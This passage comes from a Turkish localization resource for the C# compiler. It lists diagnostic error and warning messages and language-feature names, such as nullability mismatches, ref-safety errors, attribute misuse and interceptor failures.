sonucunda derleme hataları oluşabilir. Özel durum '{2}' iletisi ile '{1}' türündeydi. +{3} + '{0}' basit bir tür olmadığından, '{0}' türündeki bir değer null yapılabilir '{1}' parametresi için varsayılan parametre olarak kullanılamaz + '{1}' türüne standart dönüştürme olmadığından '{0}' türünün bir değeri varsayılan parametre olarak kullanılamıyor + '{0}' parametre türündeki başvuru türlerinin null atanabilirliği, '{1}' engellenebilir metodu ile eşleşmiyor. + '{0}', gerekli '{1}' üyesini geçersiz kıldığından gerekli kılınmalıdır + '{0}' soyut, ancak soyut olmayan '{1}' türünde bulunuyor + dinamik + Olası null başvuru ataması. + Geçerli yöntemin kapsamına dahil edildiğinden ' {0}' parametresinin bir üyesine başvurularak döndürülemez + '{1}' bütünleştirilmiş kodundaki '{0}' modülü, '{2}' türünü birden çok bütünleştirilmiş koda iletiyor: '{3}' ve '{4}'. + #pragma uyarısından sonra beklenen: 'disable' veya 'restore' + SecurityAction değeri '{0}' bir türe veya yönteme uygulanan güvenlik öznitelikleri için geçersiz + '{0}' bir {1} öğesidir ancak {2} olarak kullanılır + '{0}' kayıt üyesi '{1}' döndürmelidir. + Önişlemci yönergeleri satırdaki boşluk olmayan ilk karakter olmalıdır + alan + dizi + diğer ad kullanma + basamak ayırıcılar + Atanmamış olabilecek '{0}' alanının kullanımı. Alanı otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + Boş değer atanabilir '{0}?' başvuru türünün bir is-type ifadesinde kullanılması yasaktır; bunun yerine temel alınan '{0}' türünü kullanın. + '{0}' parametresi çıkış yaparken null olmayan bir değere sahip olmalıdır. + olay + '{0}' değiştiricisi bu öğe için geçerli değil + atılabilir değişkenler + '{0}' anahtar dosyasında imzalama için gereken özel anahtar eksik + etiket + __arglist ifadesi yalnızca call veya new ifadesinde görünebilir + '{0}' algoritması desteklenmiyor + Yöntemin bir dönüş türü olmalıdır + tür parametresi + Sabit listeleri açık parametresiz oluşturucu içeremez + '{0}', 'UnmanagedCallersOnly' ile ilişkilendirilmiş ve doğrudan çağrılamaz. Bu yöntem için bir işlev işaretçisi edinin. + Her iki kısmi metot bildirimi aynı erişilebilirlik değiştiricilerine sahip olmalıdır. + Bu bildirim için geçerli bir öznitelik konumu değil + Karmalar oluşturulurken şifreleme hatası. + Bu yöntem yalnızca belirteç oluşturmak için kullanılabilir - {0} bir belirteç türü değildir. + '{0}' üyesi bu öznitelikte kullanılamaz. + '{0}', yalnızca '{2}' ve '{3}' parametre değiştiricilerinde değişen aşırı yüklenmiş bir {1} tanımlayamaz + '{0}' işlev işaretçisi {1} bağımsız değişken almaz + Yinelenen null gizleme işleci ('!') + Türdeki başvuru türlerinin boş değer atanabilirliği, geçersiz kılınan üye ile eşleşmiyor. + '{0}' adı geçerli bağlamda yok ('{1}' derlemesine başvurunuz mu eksik?) + base' anahtar sözcüğü bu bağlamda kullanılamaz + İfade edilmeden önce '{0}' yerel değişkeni kullanılamıyor + asenkron using + Değişmez ']]>' dizesine öğe içeriğinde izin verilmez. + '{0}': '{1}' dinamik arabirim uygulanamaz + üye başlatıcılarda ve sorgularda ifade değişkenlerinin bildirimi + Hedef çalışma zamanı başvuru alanlarını desteklemiyor. + Kapsamlı özniteliklerindeki veya '[UnscopedRef]' özniteliklerindeki bir fark nedeniyle'{0}' hedefine çağrı '{1}' ile engellenemiyor. + '{0}' öğesinin kısmi metot bildirimleri kısıtlamalarında '{1}' tür parametresi için tutarsız boş değer atanabilirlik durumu var + Parametre belirtilen yönetilmeyen tür için geçerli değil. + /REFERENCEPATH seçeneği + İfade ağacı, bir yerel işleve başvuru içeremez + Alanın birden fazla farklı sabit değeri vardır. + {0} sürüm {1} + Telif hakkı (C) Microsoft Corporation. Tüm hakları saklıdır. + '{0}' güvenlik özniteliği bu bildirim türü için geçerli değil. Güvenlik öznitelikleri yalnızca derleme, tür ve yöntem bildirimlerinde geçerlidir. + using static + Geçerli hata ayıklama oturumu sırasında eklenen '{0}' üyesine, yalnızca bildirme derlemesi '{1}' içinden erişilebilir. + Dosyadaki ilk belirteçten sonra #load kullanılamaz + Tür adı yalnızca küçük harfli ascii karakterleri içerir. Bu tür adlar dil için ayrılmış hale gelebilir. + İfade ağacı, out bağımsız değişkeni bildirimi içeremez. + XML yorumu cref özniteliğindeki {0} parametresi için geçersiz tür: '{1}' + Tür, genel tür veya metot için tür parametresi olarak kullanılamıyor. Tür bağımsız değişkeninin boş değer atanabilirliği, 'class' kısıtlamasıyla eşleşmiyor. + Tutarsız erişilebilirlik: '{1}' kısıtlama türü, '{0}' öğesinden daha az erişilebilir + '{0}' hem soyut hem korumalı olamaz + Beklenmeyen karakter: '{0}' + '{0}' geçerli bir adlandırılmış öznitelik bağımsız değişkeni değil. Adlandırılmış öznitelik bağımsız değişkenleri salt okunur, statik, sabit olmayan alanlar veya ortak olan ve statik olmayan okuma/yazma özellikleri olmalıdır. + Tanınmayan #pragma yönergesi + '{0}' statik türünün bir değişkeni ifade edilemiyor + /link (Birlikte Çalışma Türlerini Katıştır özelliği True olarak ayarlandı) kullanarak bir derlemeye başvuru eklediniz. Bu derleyiciye bu derlemeden birlikte çalışma türleri bilgilerini katıştırmasını söyler. Ancak, başvuruda bulunduğunuz başka bir derleme de /reference (Birlikte Çalışma Türlerini Katıştır özelliği False olarak ayarlanmış) kullanarak bu derlemeye başvurduğundan, derleyici bu derlemeden birlikte çalışma türü bilgilerini katıştıramıyor. + +Birlikte çalışma türü bilgilerini her iki derlemeden de katıştırmak için, her bir derlemeye başvurular için /link kullanın (Birlikte Çalışma Türlerini Katıştır özelliğini True olarak ayarlayın). + +Uyarıyı kaldırmak için, /reference kullanabilirsiniz (Birlikte Çalışma Türlerini Katıştır özelliğini False olarak ayarlayın). Bu durumda, birincil birlikte çalışma bütünleştirilmiş kodu (PIA), birlikte çalışma türü bilgilerini sağlar. + Dönüş türündeki başvuru türlerinin null atanabilirliği, '{0}' engelleme metodu ile eşleşmiyor. + ifade gövdesi özellik erişimcisi + '{0}' işleç == veya işleç != öğesini tanımlar ancak Object.Equals(object o) öğesini geçersiz kılmaz + Tür bağımsız değişkenlerinin yanlış sayısı + '{0}', '{1}' kalıbını uygulamaz. '{2}' yanlış imzaya sahip. + Zaman uyumsuz foreach, '{1}' öğesinin '{0}' dönüş türünün uygun bir genel 'MoveNextAsync' metoduna ve genel 'Current' özelliğine sahip olmasını gerektirir + Bir ad uzayı bildiriminde değiştiriciler veya öznitelikler olamaz + '{0}': StructLayout(LayoutKind.Explicit) ile işaretlenen örnek alan türlerinin FieldOffset özniteliği olmalıdır + '{0}' soyut türünün veya arabiriminin örneği oluşturulamıyor + Bir olayın açık bir arabirim uygulamasında olay erişimcisi sözdizimi kullanılmalıdır + '{0}' için sabit değerin değerlendirilmesi döngüsel başvuru içeriyor + '{0}' bu bildirim için geçerli bir öznitelik konumu değil. Bu bildirimle ilgili geçerli öznitelik konumları: '{1}'. Bu bloktaki tüm öznitelikler yoksayılacak. + Bu bağlamda '{0}' türündeki bir stackalloc ifadesinin sonucu, içerme yönteminin dışında gösterilebilir. + '{0}', '{1}' ve '{2} arasında belirsiz. '@{0}' kullanın veya 'Attribute' sonekini açıkça ekleyin. + ; bekleniyor + Bir veya daha fazla uygulanabilir aşırı yükleme koşullu yöntemler olduğundan dinamik olarak gönderilen çağrı çalışma zamanında başarısız olabilir + Ad alanı içe aktarılan türle çakışıyor + Kısmi yöntemin birden fazla uygulama bildirimi olamaz + Bir '{1}' olduğundan '{0}' öğesi ref veya out değeri olarak kullanılamaz + '{0}' öğesine friend erişimi izni verildi, ancak çıkış derlemesinin kesin ad imzalama durumu, izin veren derlemeninkiyle eşleşmiyor. + hedeflenen türde nesne oluşturma + Parametre listesine sahip bir türde bildirilmiş bir oluşturucu, 'this' oluşturucu başlatıcıya sahip olmalıdır. + Kısıtlama '{0}' dinamik türü olamaz + '{0}' işleci '{1}' türündeki işlenene uygulanamaz + Salt okunur bir türdeki birincil oluşturucu parametresi, yazılabilir referans tarafından döndürülemez + '{0}': geçici alana başvuru geçici olarak değerlendirilir + Bir ifade ağacı dinamik bir işlem içeremez + Türü örtük olarak belirlenmiş yerel değişkenler sabitlenemez + İçeri aktarılan '{0}' türü geçersiz. Döngüsel temel tür bağımlılığı içeriyor. + Sorgu kalıbının çoklu uygulamaları '{0}' kaynak türü için bulundu. Belirsiz '{1}' çağrısı. + '{0}' komut satırı geçişi henüz uygulanmadı ve yoksayıldı. + Türdeki başvuru türlerinin boş değer atanabilirliği, uygulanan üye ile eşleşmiyor. + '{0}' yöntemi, işleci veya erişeni dış olarak işaretlenmiş ve hiç özniteliği yok. Dış uygulamayı belirtmek için DllImport özniteliği eklemeyi düşünün. + '{0}', '{1}' kaynağından geçerli bir parametre adı değil. + Tutarsız erişilebilirlik: '{1}' parametre türü, '{0}' dizin oluşturucusundan daha az erişilebilir + Önceden tanımlı '{0}' türü birden çok başvurulan bütünleştirilmiş kodda bildirildi: '{1}' ve '{2}' + ifade gövdeli özellik + 'RefKind.Out', dönüş türü için geçerli bir başvuru türü değil. + alternatif ilişkilendirilmiş tam dizeler + iç içe işlevlerde ad gölgeleme + FieldOffset özniteliğine static veya const alanlarda izin verilmez + '{0}' ref yerel değeri bir anonim metotta, lambda ifadesinde veya sorgu ifadesinde kullanılamaz + Geçerli yöntemin kapsamına dahil edildiğinden '{0}' referansına göre bir parametre döndürülemez + '{0}' işleci, '{1}' ve '{2}' türündeki işlenenler üzerinde belirsizdir + '{0}' dönüş türü CLS uyumlu değil + Bir switch ifadesi kolu 'case' anahtar sözcüğüyle başlamaz. + CallerArgumentExpressionAttribute yalnızca varsayılan değeri olan parametrelere uygulanabilir + Derleme başvurusunun kimlikle eşleştiği varsayılıyor + '{0}' bir '{1}' tanımı içermiyor ve '{0}' türünde bir ilk bağımsız değişken kabul eden hiçbir '{1}' genişletme yöntemi bulunamadı ('{2}' için bir kullanma yönergeniz eksik olabilir mi?) + Gecikmeli imzalama belirtildi ve ortak anahtar gerektiriyor, ancak ortak anahtar belirtilmedi + '{0}' varsayılan değeri null olduğundan, ifade her zaman bir System.NullReferenceException öğesine neden olacak + Dizin oluşturucuların en az bir parametresi olmalıdır + '{1}' ile uyumluluğu test etmek için '{0}' kullanmak, '{2}' ile uyumluluğu test etmeye önemli ölçüde benzer ve tüm null olmayan değerler için başarılı olacaktır + Belirtilen çağrı birden çok kez engellendi. + Tam sayı türünde bir değer bekleniyor + Bağımsız değişken, başvuru türlerinin null atanabilirlik farklılıkları nedeniyle parametre için çıkış olarak kullanılamaz. + Bu dil özelliği ('{0}') henüz uygulanmadı. + Söz dizimi ağacı bir göndermeden oluşturulmalıdır. + Tam belirtilen ad hata ayıklama bilgileri için çok uzun + 'readonly' değiştiricisi 'ref' öğesinden sonra belirtilmelidir. + RuntimeMetadataVersion için değer bulunamadı. System.Object içeren derleme ya da seçenekler yoluyla belirtilen RuntimeMetadataVersion için değer bulunamadı. + Null atanabilir başvuru türleri için ek açıklama yalnızca bir '#nullable' ek açıklama bağlamı içinde kodda kullanılmalıdır. Otomatik oluşturulan kod kaynakta açık bir '#nullable' yönergesi gerektirir. + CoClassAttribute' ile işaretlenen arabirim 'ComImportAttribute' ile işaretlenmedi + lambda parametreleri dizisi + Ayrılan örnek tüm özel durum yolları boyunca atılamaz + 'in' bekleniyor + Başvurulan derleme '{0}' içinde bir hata var. + Parametre türünün null atanabilirliği geçersiz kılınmış üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + '{0}' demet öğesi adına hiçbir konumda izin verilmez. + Bir dizi için negatif dizin kullanılıyor (dizi dizinleri her zaman sıfırdan başlar) + Dönüş türlerine uygulandığında CLSCompliant özniteliğinin bir anlamı yoktur. Yerine bir yönteme koymayı deneyin. + Main metodu için belirtilen '{0}' genel olmayan sınıf, kayıt, yapı veya arabirim olmalıdır + Bu argüman kombinasyonu, parametre tarafından başvurulan değişkenleri bildirim kapsamı dışında gösterebilir. + Koleksiyon başlatıcı öğesi için en iyi aşırı yüklenen '{0}' Ekle yöntemi artık kullanılmıyor. {1} + Bu derlemenin dışından görülemediğinden CLS uyumluluk denetimi gerçekleştirilmeyecek + '{0}' öğesinin kısmi bildirimleri, '{1}' tür parametresi için tutarsız kısıtlamalara sahip + Main yöntemi için belirtilen '{0}' bulunamadı + Bir başvuruya göre hazırlama sınıfı alanını ref veya out değeri olarak kullanmak ya da adresini almak çalışma zamanı özel durumuna neden olabilir + ve deseni + '{1}'nin gerekli '{0}' parametresine karşılık gelen herhangi bir argüman yok + '{0}' adı ilgili '{1}' 'Deconstruct' parametresiyle eşleşmiyor. + Sağlanan kaynak kodu türü desteklenmiyor veya geçersiz: '{0}' + Bu, geçerli yöntemin kapsamına giren bir parametre üyesine başvurarak döndürür + Parametre dizisi için varsayılan değer belirtilemez + Atama aynı değişkene yapıldı + Bir ön işleme sembolünün adı geçersiz; '{0}' geçerli bir tanımlayıcı değil + '{0}', bazı tür parametresi değişimleri için birleşebileceklerinden hem '{1}' öğesini hem '{2}' öğesini uygulayamaz + '{1}' derlemesine iletilen '{0}' türü '{3}' modülünden dışarı aktarılan '{2}' türü ile çakışıyor. + '{2}' türünün '{0}' genel türünde veya yönteminde '{1}' parametresi olarak kullanabilmesi için null yapılamayan bir değer türü olması gerekir + Statik türler dönüş türleri olarak kullanılamaz + Yöntemin imzası giriş noktası olmak için yanlış + Yinelenen '{0}' değiştiricisi + kontravaryant olarak + Liste desenleri, '{0}' türünde bir değer için kullanılamaz. + Dönüş türü temsilci dönüş türüyle eşleşmediğinden {0}, ' {1} ' türüne dönüştürülemiyor + @ düz metin belirticisinden sonra anahtar sözcük, tanımlayıcı veya dize bekleniyor + '{0}' değiştiricisi bu öğe için C# {1} sürümünde geçerli değil. Lütfen '{2}' veya daha yüksek bir dil sürümü kullanın. + '{0}' açık arabirim uygulamasında '{1}' erişeni eksik + '{2}' türünün '{0}' genel türünde veya yönteminde '{1}' parametresi olarak kullanabilmesi için genel bir parametresiz oluşturucu içeren, soyut olmayan bir tür olması gerekir + '{0}': içeren tür '{1}' arabirimini uygulamıyor + '{0}': başvuru yapı birimleri arabirim uygulayamaz + Yöntem '{0}' genel olmamalı veya parametreyle eşleşmesi {1} parametre sayısı '{2}'. + '{0}' kaynak türü için sorgu deseninin bir uygulaması bulunamadı. '{1}' bulunamadı. Gerekli bütünleştirilmiş kod başvuruları veya 'System.Linq' için bir using yönergesi mi eksik? + Kullanıcı tanımlı işleçler void döndüremez + Parametre türündeki başvuru türlerinin boş değer atanabilirliği, örtük olarak uygulanan üye ile eşleşmiyor. + ikili sabit değerler + Boyutu negatif olan dizi oluşturulamaz + desen tabanlı elden çıkarma + statik sınıflar + geçersiz kılma ve açık arabirim uygulama yöntemleri için kısıtlamalar + Yield deyimi bir anonim yöntemde veya lambda ifadesinde kullanılamaz + '{0}' türünün genel bir bağımsız değişkeni olduğunda bu tür gömülemiyor. 'Embed Interop Types' özelliğini false olarak ayarlayabilirsiniz. + Kaynak dosyası PDB'de görüntülenebilecek 16.707.565 satır sınırını aştı; hata ayıklama bilgileri hatalı olacak + başvuru yapı birimleri + dizin işleci + '{0}', '{1}' arabirim üyesini uygulamaz. '{2}' ortak değildir. + InterpolatedStringHandlerArgument, lambda parametrelerine uygulandığında hiçbir etkiye sahip değildir ve çağrı sitesinde yok sayılır. + '{1}', '{0}' tür parametresini tanımlamaz + Bir case sabiti için '_' adını kullanmayın. + '{0}' alıcı türü geçerli bir kayıt türü değil ve bir yapı türü değil. + Dinamik tür üzerinde typeof işleci kullanılamaz + Artırma veya azaltma işlecinin işleyicisi bir değişken, özellik veya dizin erişimcisi olmalıdır + /embed anahtarı yalnızca PDB yayınlanırken desteklenir. + Belirtilen ifade, fixed deyiminde kullanılamıyor + '{0}' hem dış hem soyut olamaz + '{0}' öğesine dönüştürülebilir bir türün nesnesi gerekir + '{0}' statik sınıfının bir örneğini oluşturamaz + Atanmamış olabilen '{0}' alanının kullanımı + switch case'e ulaşılamıyor. Önceki bir case tarafından zaten işlenmiş ya da eşleştirilmesi mümkün değil. + '{0}', '{1}' devralınan üyesini gizler. Gizleme isteniyorsa yeni anahtar sözcük kullanın. + Geçersiz unicode karakteri. + Başvuru ile döndürülen lambda ifadeleri, ifade ağaçlarına dönüştürülemez + '{0}' türünü gerektiren derleyici bulunamadığından demetleri kullanan sınıf veya üye tanımlanamıyor. Bir başvuru eksik olabilir mi? + '{0}' dosyasından ortak anahtarla çıkış imzalanırken hata -- {1} + '{0}': hem bir kısıtlama sınıfı hem de 'class' veya 'struct' kısıtlaması belirtilemez + Bir yapı içindeki anonim metotlar, lambda ifadeleri, sorgu ifadeleri ve yerel işlevler, bir örnek üye içinde de kullanılan birincil oluşturucu parametresine erişemez + Parametre türündeki başvuru türlerinin null atanabilirliği, engellenebilir metot ile eşleşmiyor. + using static' yönergesi yalnızca türlere uygulanabilir; '{0}', bir tür değil, alan adıdır. Bunun yerine 'using namespace' yönergesi uygulayabilirsiniz + Lambda ifadesi önce bir temsilci veya ifade ağacı türüne yayınlanmadan dinamik olarak dağıtılan bir işlemin bağımsız değişkeni olarak kullanılamaz. + Değer ile dönüşler yalnızca değer ile döndürülen metotlarda kullanılabilir + '{0}' türündeki bir stackalloc ifadesinin sonucu, içerik metodunun dışında kullanıma sunulabileceğinden bu bağlamda kullanılamaz + genel öznitelikler + Filtre ifadesi bir sabit ‘true’ değeri, filtreyi kaldırmayı deneyin + TypeForwardedTo özniteliği için bağımsız değişken olarak geçersiz tür belirtildi + Kendisinin veya geçersiz kıldığı bir yöntemin Conditional özniteliği olduğundan '{0}' ile temsilci oluşturulamıyor + Default sabit değerinin kullanımı bu bağlamda geçerli değil + Beklenmeyen 'unchecked' anahtar sözcüğü + '{0}' için gerekli üye listesi hatalı biçimlendirilmiş ve yorumlanamıyor. + '{0}' türü örtülü olarak '{1}' türüne dönüştürülemez. Açık bir dönüştürme var (eksik atamanız mı var?) + {0} çözümleyicisinin bir örneği {1} : {2} öğesinden oluşturulamaz. + Bu ad alanında daha önce görünen yönerge kullanılıyor + XML açıklaması çözümlenemeyen cref özniteliğine sahip + System.Runtime.CompilerServices.TupleElementNamesAttribute' öğesine açıkça başvurulamıyor. Demet adlarını tanımlamak için demet söz dizimini kullanın. + Geçersiz sayı + Temsilci '{0}', {1} bağımsız değişkenleri almaz + '{0}', devralınan soyut '{1}' üyesini gizliyor + Yinelenen tür parametresi '{0}' + Koleksiyon başlatıcı öğesi için en iyi aşırı yüklü Ekle yöntemi kullanılmıyor + sabit dizede ReadOnly/Span<char> ile eşleşen desen + '{0}' için verilen farklı sağlama toplamı değerleri + '{0}': olay bir temsilci türüne sahip olmalıdır + '{0}' parametresine uygulanan EnumeratorCancellationAttribute hiçbir etkiye sahip olmayacak. Öznitelik yalnızca, IAsyncEnumerable döndüren bir async-iterator yönteminde bulunan CancellationToken türündeki bir parametre üzerinde etkilidir + Bırakma dönüşünden sonra ifade bekleniyor + /sourcelink anahtarı yalnızca PDB gösterilirken desteklenir. + Değerdeki başvuru türlerinin boş değer atanabilirliği hedef tür ile eşleşmiyor. + Parametre türündeki başvuru türlerinin boş değer atanabilirliği, uygulanan üye ile eşleşmiyor. + Bir güvenlik özniteliğinin ilk bağımsız değişkeni geçerli bir SecurityAction olmalıdır + '{0}': dış etkinliğin başlatıcısı olamaz + 'System.Runtime.CompilerServices.ScopedRefAttribute' kullanmayın. Bunun yerine 'scoped' anahtar sözcüğünü kullanın. + var' bağlamsal anahtar sözcüğü bir aralık değişkeni bildiriminde kullanılamaz + /reference' için geçersiz extern diğer adı; '{0}' geçerli bir belirtici değil + Üye devralınmış üyeyi gizler; geçersiz kılma anahtar sözcüğü eksik + FieldOffset özniteliği yalnızca StructLayout(LayoutKind.Explicit) ile işaretlenmiş türlerdeki üyelere koyulabilir + XML açıklamasının yinelenen bir param etiketi var + statik arabirim üyeleri için varyans güvenliği + tür + '{0}': statik türler tür bağımsız değişkeni olarak kullanılamaz + Throw ifadesine bu bağlamda izin verilmez. + Switch ifadesi, giriş türünün adlandırılmamış sabit listesi değeri gibi bazı değerlerini işlemiyor (ifade tam kapsamlı değil). + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlardan kullanılan bir üye için geçerli olduğundan, '{0}' parametresine uygulanan CallerLineNumberAttribute öğesinin hiçbir etkisi olmaz + Yeniden yüklenebilir ikili işleç bekleniyor + Türü örtük olarak belirlenmiş dizi için en iyi tür bulunamadı + Boşluğa bu konumda izin verilmiyor. + XML açıklaması geçerli bir dil öğesine koyulmamış + stackalloc ile negatif boyut kullanılamaz + Komut satırı sözdizimi hatası: '{1}' seçeneği için '{0}' eksik + İşaretçiler ve sabit boyutlu arabellekler yalnızca güvenli olmayan bir bağlamda kullanılabilir + Yalnızca adsız dizi türleri tarafından farklılık gösteren aşırı yüklü yöntem CLS uyumlu değil + Bir out parametresi denetim, metodu terk etmeden önce atanmalıdır + Win32 kaynakları oluşturulurken hata -- {0} + Yalnızca bir tanımlama bildirimi olan kısmi yöntemler veya kaldırılmış koşullu yöntemler ifade ağaçlarında kullanılamaz + '{0}' demet öğesi adı çıkarsandı. Bir öğeye çıkarsanan adıyla erişmek için lütfen {1} veya üzeri dil sürümünü kullanın. + Olası istenmeden yapılan başvuru karşılaştırması; değer karşılaştırması almak için sağ tarafı '{0}' türüne atayın + XML açıklamasının yinelenen bir typeparam etiketi var + Atanmayan '{0}' yerel değişkeninin kullanımı + Türler ve diğer adlar 'file' olarak adlandırılamaz. + CallerArgumentExpressionAttribute öğesinin etkisi olmaz; CallerLineNumberAttribute tarafından geçersiz kılındı + '{1}' kimlikli '{0}' derlemesi, başvurulan '{4}' kimlikli '{3}' derlemesinden daha yüksek sürüme sahip '{2}' kullanıyor + Bu, bir ref parametresi aracılığıyla'{0}' referansına göre bir parametre döndürür; ancak yalnızca bir return ifadesinde güvenli bir şekilde döndürebilir + Genel olmayan {1} '{0}' öğesi, tür bağımsız değişkenleriyle kullanılamaz + struct alan başlatıcıları + '{0}' derleme adı ayrıldı ve etkileşimli bir oturumda başvuru olarak kullanılamıyor + 'UnmanagedCallersOnly' özniteliğine sahip bir metodun imzasında 'ref', 'in' veya 'out' kullanılamaz. + Tür operator == or operator != öğesini tanımlar, ancak Object.Equals(object o) öğesini geçersiz kılmaz + Anonim bir yöntem, lambda ifadesi, sorgu ifadesi veya yerel işlev içinde ref benzeri türe sahip '{0}' parametresi kullanılamaz + '{0}': geçersiz kılınan '{1}' türüyle eşleşmesi için türün '{2}' olması gerekir + İşaret bölümü eklenen bir işlenen üzerinde bit düzeyinde OR işleci kullanılıyor; önce daha küçük bir işaretsiz türe dönüştürmeyi düşünün + Filtre ifadesi bir sabit ‘false’ değeri + Sabitlenmemiş ifadelerde sabit boyutlu arabellek kullanamazsınız. fixed deyimini kullanmayı deneyin. + Verili bir ifadenin adresi alınamaz + Bir ifade ağacı '{0}' öğesini içermeyebilir + DefaultParameterAttribute veya OptionalAttribute ile birlikte varsayılan parametre değeri belirtilemez + '{2}' türü '{0}' genel türü veya metodu için '{1}' tür parametresi olarak kullanılamıyor. '{2}' tür bağımsız değişkeninin boş değer atanabilirliği, 'class' kısıtlamasıyla eşleşmiyor. + '{0}' türü için {1} out parametresi ve void dönüş türü içeren uygun Deconstruct örneği veya genişletme metodu bulunamadı. + '{0}' bir defadan fazla açıkça uygulanmış. + Genişletme yöntemi genel olmayan bir statik sınıfta tanımlanmalıdır + Attribute parameter 'SizeConst' must be specified. + '{0}', '{1}' türüne sahip. Dizeden başka bir başvuru türünün const alanı yalnızca null ile başlatılabilir. + '{0}', işlev işaretçisi için geçerli bir çağırma kuralı tanımlayıcı değil. + Dönüş türündeki başvuru türlerinin boş değer atanabilirliği, uygulanan '{0}' üyesi ile eşleşmiyor. + new()' kısıtlaması 'struct' kısıtlamasıyla kullanılamaz + Zaman uyumsuz yöntemlerin parametre listesinde __arglist kullanılamaz + Engellenemiyor: Derleme, '{0}' yoluna sahip bir dosya içermiyor. + '{0}' işleci, öncelik nedeniyle burada kullanılamaz. Belirsizliği ortadan kaldırmak için parantez kullanın. + Parametre çıkış yaparken null olmayan bir değere sahip olmalıdır. + System.Runtime.CompilerServices.ExtensionAttribute' kullanmayın. Bunun yerine 'this' anahtar sözcüğünü kullanın. + gerekli üyeler + Ekleme veya kaldırma erişimcisi bekleniyor + Denetim, anonim bir yöntemin veya bir lambda ifadesinin gövdesinden çıkamaz + Eski üye eski olmayan üyeyi geçersiz kılar + '{1}', 'SignatureCallingConvention.Unmanaged' değilse '{0}' geçirmek geçersizdir. + '{0}' sınıf türü kısıtlaması tüm diğer kısıtlamalardan önce gelmelidir + Atanmamış olabilecek otomatik uygulanmış '{0}' özelliğinin kullanımı + '{0}' çözümleyici bütünleştirilmiş kodu, derleyicinin şu anda çalışan '{2}' sürümünden daha yeni olan '{1}' sürümüne başvurur. + '{0}', '{1}' üyesinin başvuru dönüşüyle eşleşmelidir + CallerFilePathAttribute öğesinin etkisi olmayacak; CallerLineNumberAttribute tarafından geçersiz kılındı + Genişletme yöntemi gruplarına 'nameof' bağımsız değişkeni olarak izin verilmedi. + Değere göre değişken, bir başvuru ile başlatılamaz + Bir async-iterator metodunun gövdesi 'yield' deyimi içermelidir. Metot bildiriminden 'async' ifadesini çıkarmayı veya bir 'yield' deyimi eklemeyi deneyin. + '{0}' bir '{1}' tanımı içermiyor ve '{0}' türünde bir ilk bağımsız değişken kabul eden hiçbir erişilebilir '{1}' genişletme yöntemi bulunamadı (bir kullanma yönergeniz veya derleme başvurunuz eksik olabilir mi?) + {1} '{0}' öğesi, tür bağımsız değişkenleri ile kullanılamaz + İfade, değişkenleri kendi bildirim kapsamı dışında dolaylı olarak kullanıma sunabileceğinden bu bağlamda kullanılamaz + Düz metin arasına kod eklenmiş dize işleyicisi dönüştürmeye yönelik parametre, işleyici parametresinden sonra gerçekleşir + Kısmi yöntemin birden fazla tanımlama bildirimi olamaz + '{0}' parametresine uygulanan CallerArgumentExpressionAttribute hiçbir etkiye sahip olmaz. Geçersiz bir parametre adıyla uygulanır. + '{0}' derleme başvurusu geçersiz ve çözümlenemez + Bu başvuru, hedeften daha dar bir kaçış kapsamına sahip bir değer atar. + Statik sınıflarda örnek oluşturucular olamaz + 'await' {0} türünün uygun bir GetAwaiter yöntemi olmasını gerektirir + '{0}' sonucunun üyesi, '{1}' parametresi tarafından başvurulan değişkenleri kendi bildirim kapsamı dışında kullanıma sunabileceğinden bu bağlamda kullanılamaz + Türü örtük olarak belirlenmiş lambda '{0}' parametresi varsayılan bir değere sahip olamaz. + '{1}' türü aynı parametre türlerine sahip '{0}' adlı bir üyeyi zaten ayırıyor + Otomatik olarak uygulanan '{0}' özelliği 'set' erişimcisine sahip olduğundan 'readonly' olarak işaretlenemez. + Bağımsız değişken türü CLS uyumlu değil + Tanınmayan atlatma sırası + Parametrenin XML açıklamasında eşleşen param etiketi yok (ancak diğer parametrelerin var) + Switch ifadesi bazı null girişleri işlemiyor. + '{1}' devralınan arabirimi '{0}' arabirim hiyerarşisinde bir döngüye neden oluyor + '{0}' tür veya ad alanı adı genel ad alanında bulunamadı (bir derleme başvurunuz mu eksik?) + Olağan bir üye yönteminin çağrısı olmadığından '{0}' engellenemiyor. + Catch yan tümcesinin filtre ifadesinde await kullanılamaz + Dizi türlerine atama yapmak için yalnızca dizi başlatıcı ifadeleri kullanılabilir. Bunun yerine bir new ifadesi kullanmayı deneyin. + Null sabit değeri veya olası null değeri, boş değer atanamaz türe dönüştürülüyor. + Açıkça yazılmış değişkenler başlatılmalıdır + Tür parametresi bildirimi bir tür değil bir tanımlayıcı olmalıdır + birincil oluşturucular + Denetim çağırana döndürülmeden önce otomatik uygulanan '{0}' özelliği tam olarak atanmalıdır. Özelliği otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + '{0}': yapıda ifade edilen yeni korumalı üye + '{0}': statik sınıflar korumalı üyeler içeremez + 'this' nesnesi, tüm alanları atanmadan önce okunur ve bu da açıkça atanmamış alanlara yönelik 'default' öğesinin önceki örtük atamaları ile sonuçlanır. + '{0}': bir statik sınıftaki örnek üyeleri ifade edemez + Denetim, otomatik uygulanan özellik açıkça atanmadan önce çağırana döndürülür ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Yürütülebilir dosyalar yardımcı derleme olamaz; kültür her zaman boş olmalıdır + Metotta, uygulanan veya geçersiz kılınan üyeyle eşleşecek `[DoesNotReturn]` ek açıklaması eksik. + base' anahtar sözcüğünün kullanımı bu bağlamda geçerli değil + '{0}' başvurulmayan bir derlemede tanımlandı. '{1}' derlemesine bir başvuru eklemelisiniz. + '{0}', '{1}' arabirim üyesinde bulunmayan bir erişen ekliyor + Tanınmayan seçenek: '{0}' + Async yöntemlerine 'SecurityCritical' veya 'SecuritySafeCritical' özniteliğine sahip bir Arabirim, Sınıf veya Yapıda izin verilmez. + '{0}' türünden '{1}' türüne standart dönüştürme olmadığından, CallerArgumentExpressionAttribute uygulanamıyor + is' veya 'as' işlecinin ilk işleneni bir lambda ifadesi, anonim yöntem veya yöntem grubu olamaz. + Dizi erişiminin adlandırılmış bağımsız değişken belirticisi olamaz + Bir yöntem grubu dinamik olarak dağıtılan işlemin bağımsız değişkeni olarak kullanılamaz. Yöntemi çağırmak mı istiyordunuz? + aralık işleci + Salt okunur bir alan (oluşturucu dışında) ref veya out değeri olarak kullanılamaz + Derlemedeki birden çok dosya bu yola sahip olduğundan '{0}' yoluna sahip dosyada çağrı engellenemiyor. + Birden çok değişken bildirimcisi içerebilecek bir bildirim düğümü için 